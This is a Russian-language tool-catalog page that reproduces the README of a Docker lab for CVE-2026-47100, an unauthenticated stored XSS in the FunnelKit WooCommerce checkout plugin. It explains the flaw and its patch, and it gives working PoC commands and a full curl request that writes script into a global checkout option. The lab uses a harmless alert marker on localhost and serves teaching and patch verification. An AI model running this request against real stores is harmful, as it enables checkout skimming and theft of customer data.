Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-47100-Analysis-Lab — Локальная Docker-лаборатория для воспроизведения CVE-2026-47100 — неаутентифицированное Stored XSS в FunnelKit для WooCommerce. Включает PoC-скрипты для сравнения уязвимой и исправленной версий. | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-47100-analysis-lab
Анализ уязвимостейЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubrootdirective-sec/cve-2026-47100-analysis-lab

CVE-2026-47100-Analysis-Lab

Локальная Docker-лаборатория для воспроизведения CVE-2026-47100 — неаутентифицированное Stored XSS в FunnelKit для WooCommerce. Включает PoC-скрипты для сравнения уязвимой и исправленной версий.

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-47100 — FunnelKit / Funnel Builder for WooCommerce Checkout Stored XSS Lab

Локальная Docker-лаборатория для воспроизведения CVE-2026-47100 безопасным способом с минимальным вредом. Эта лаборатория сравнивает уязвимую версию FunnelKit с исправленной и проверяет поведение с помощью безвредного JavaScript-маркера/оповещения.


1. Обзор

CVE-2026-47100 — это уязвимость отсутствия авторизации в Funnel Builder / FunnelKit for WooCommerce Checkout до версии 3.15.0.3.

Уязвимый AJAX-поток оформления заказа позволяет неаутентифицированному посетителю вызвать внутренний метод плагина и записать данные во встроенную настройку глобального внешнего скрипта FunnelKit. Поскольку эта настройка позже отображается на страницах оформления заказа FunnelKit, проблема может стать неаутентифицированным Stored XSS на страницах оформления заказа.

Этот репозиторий воспроизводит проблему локально с помощью двух Docker-сервисов:

СервисВерсияURLОжидаемый результат
vuln3.15.0.2http://127.0.0.1:8081уязвимое поведение подтверждено
patched3.15.0.3http://127.0.0.1:8082запись заблокирована / маркер не отображается

2. Скриншот обнаружения Vulnx

vulnx

Выбор CVE из вывода Vulnx. Лаборатория и PoC были созданы вручную путем сравнения уязвимого и исправленного поведения.


3. Влияние

Неаутентифицированный злоумышленник может использовать общедоступный AJAX-поток оформления заказа для сохранения JavaScript в глобальной настройке внешнего скрипта FunnelKit.

В реальном магазине WooCommerce это может позволить выполнить вредоносный JavaScript в браузере пользователей, посещающих страницу оформления заказа. Публичные отчеты связывают этот класс уязвимостей с кампаниями скимминга на страницах оформления заказа.

Эта лаборатория намеренно использует только безвредный маркер доказательства:

root@kitploit:~
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>

4. Первопричина

Уязвимая версия принимает данные оформления заказа, контролируемые пользователем, из общедоступной AJAX-конечной точки WooCommerce:

root@kitploit:~
/?wc-ajax=update_order_review

Внутри потока оформления заказа FunnelKit запрос может включать:

root@kitploit:~
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}

Уязвимая логика проверяет, существует ли указанное имя действия как метод класса. Если метод существует, он может быть вызван из общедоступного потока оформления заказа.

Упрощенное уязвимое поведение:

root@kitploit:~
if ( method_exists( __CLASS__, $action ) ) {
    self::$output_resp = self::$action( $input_data );
}

Важное контролируемое злоумышленником действие:

root@kitploit:~
update_global_settings_fields

Этот метод обновляет опцию WordPress:

root@kitploit:~
_wfacp_global_settings

и, в частности, встроенный ключ FunnelKit:

root@kitploit:~
wfacp_global_external_script

Сохраненное значение позже считывается шаблоном оформления заказа и отображается на странице оформления заказа. Это создает условие для Stored XSS.

Цепочка эксплуатации:

root@kitploit:~
Неаутентифицированный посетитель страницы оформления заказа
→ публичный AJAX WooCommerce update_order_review
→ wfacp_input_hidden_data[action] под контролем злоумышленника
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script отображается на странице оформления заказа
→ Stored XSS

5. Краткое описание исправления

Версия 3.15.0.3 усиливает уязвимый путь двумя важными изменениями.

5.1 Белый список общедоступных действий

Исправленная версия ограничивает действия по оформлению заказа, которые могут быть вызваны из общедоступного потока оформления заказа.

Упрощенное исправленное поведение:

root@kitploit:~
$allowed_actions = array(
    'update_cart_item_quantity',
    'update_cart_multiple_page',
    'remove_cart_item',
    'undo_cart_item',
    'prep_fees',
);

if (
    is_string( $action ) &&
    in_array( $action, $allowed_actions, true ) &&
    method_exists( __CLASS__, $action )
) {
    self::$output_resp = self::$action( $input_data );
}

Это предотвращает вызов произвольных внутренних методов, таких как update_global_settings_fields, из неаутентифицированных запросов оформления заказа.

5.2 Проверка прав перед обновлением настроек

Исправленная версия также добавляет проверку авторизации перед обновлением глобальных настроек:

root@kitploit:~
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return $resp;
}

Это означает, что глобальная настройка внешнего скрипта должна быть доступна для записи только пользователям с правами управления WooCommerce.


6. Архитектура лаборатории

root@kitploit:~
host
├── http://127.0.0.1:8081  → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082  → WordPress + WooCommerce + FunnelKit 3.15.0.3

Процесс начальной загрузки (seed) создает:

root@kitploit:~
Товар лаборатории
- Товар WooCommerce, используемый для создания действительной корзины/сессии
- ожидаемый ID товара в чистой лаборатории: 10

Воронка оформления заказа лаборатории
- Страница оформления заказа FunnelKit, используемая для запуска AJAX-потока оформления заказа
- ожидаемый ID записи оформления заказа в чистой лаборатории: 11

Лаборатория использует детерминированный URL оформления заказа:

root@kitploit:~
/?post_type=wfacp_checkout&p=11

Это явно загружает пользовательскую запись оформления заказа FunnelKit в локальной Docker-лаборатории.


7. Запуск лаборатории

Запуск лаборатории:

root@kitploit:~
docker compose up -d --build

Проверка сервисов:

root@kitploit:~
docker compose ps

Ожидаемые сервисы:

root@kitploit:~
vuln      http://127.0.0.1:8081
patched   http://127.0.0.1:8082

Установка зависимостей Python:

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install requests

8. PoC-скрипты

8.1 Лабораторный PoC

poc/poc_lab.py — это детерминированный лабораторный PoC.

Он использует значения начальной загрузки локального Docker:

root@kitploit:~
product_id = 10
checkout_post_id = 11

Запуск против уязвимого сервиса:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8081

Ожидаемый результат:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True

=== Result ===
likely_vulnerable:  True

[+] Vulnerable behavior confirmed.

Запуск против исправленного сервиса:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8082

Ожидаемый результат:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False

=== Result ===
likely_vulnerable:  False

[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.

8.2 Общий инструмент авторизованного самотестирования

poc/poc_check.py — это более портативный инструмент авторизованного самотестирования.

Только пассивная проверка:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"

Активная авторизованная проверка:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized

Режим только маркера без оповещения:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --marker-only

Попытка очистки:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --cleanup

9. Ручное тестирование

9.1 Уязвимый сервис

Создание новой сессии WooCommerce и добавление товара лаборатории в корзину:

root@kitploit:~
rm -f /tmp/cve47100-vuln.cookies

curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?add-to-cart=10" >/dev/null

Получение страницы оформления заказа FunnelKit и извлечение nonce WooCommerce для оформления заказа:

root@kitploit:~
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"

Отправка сформированного AJAX-запроса оформления заказа:

root@kitploit:~
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-vuln.cookies \
  -b /tmp/cve47100-vuln.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

Проверка, что опция была записана:

root@kitploit:~
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

Ожидаемый результат:

root@kitploit:~
{
  "wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
  "wfacp_checkout_global_css": ""
}

Проверка, что маркер отображается:

root@kitploit:~
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

Открыть в браузере, чтобы увидеть безвредное оповещение:

root@kitploit:~
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11

9.2 Исправленный сервис

Повторить тот же поток для порта 8082:

root@kitploit:~
rm -f /tmp/cve47100-patched.cookies

curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?add-to-cart=10" >/dev/null

CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"
root@kitploit:~
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-patched.cookies \
  -b /tmp/cve47100-patched.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

Проверка, что опция осталась неизменной:

root@kitploit:~
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

Ожидаемый результат:

root@kitploit:~
[]

Проверка, что маркер не отображается:

root@kitploit:~
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

Ожидаемый результат: нет вывода.


10. Сводка доказательств

Уязвимый сервис подтверждает проблему, когда все следующие условия верны:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True

Исправленный сервис подтверждает исправление, когда:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []

11. Замечания по безопасности

Этот репозиторий предназначен только для локальных, авторизованных исследований безопасности.

Разрешенная область:

root@kitploit:~
localhost
127.0.0.1
сеть Docker Compose лаборатории
системы, которыми вы владеете или на тестирование которых имеете явное письменное разрешение

Не разрешено:

root@kitploit:~
скимминг платежей
кража cookie
кража токенов
сбор учетных данных
внешняя эксфильтрация
несанкционированное тестирование сторонних магазинов

PoC использует только безвредное оповещение и маркер.


12. Ссылки

  • Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-47100
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47100
  • Уведомление VulnCheck: https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax
  • Исследование Sansec: https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited
  • Набор изменений WordPress Trac: https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php
Скачать инструмент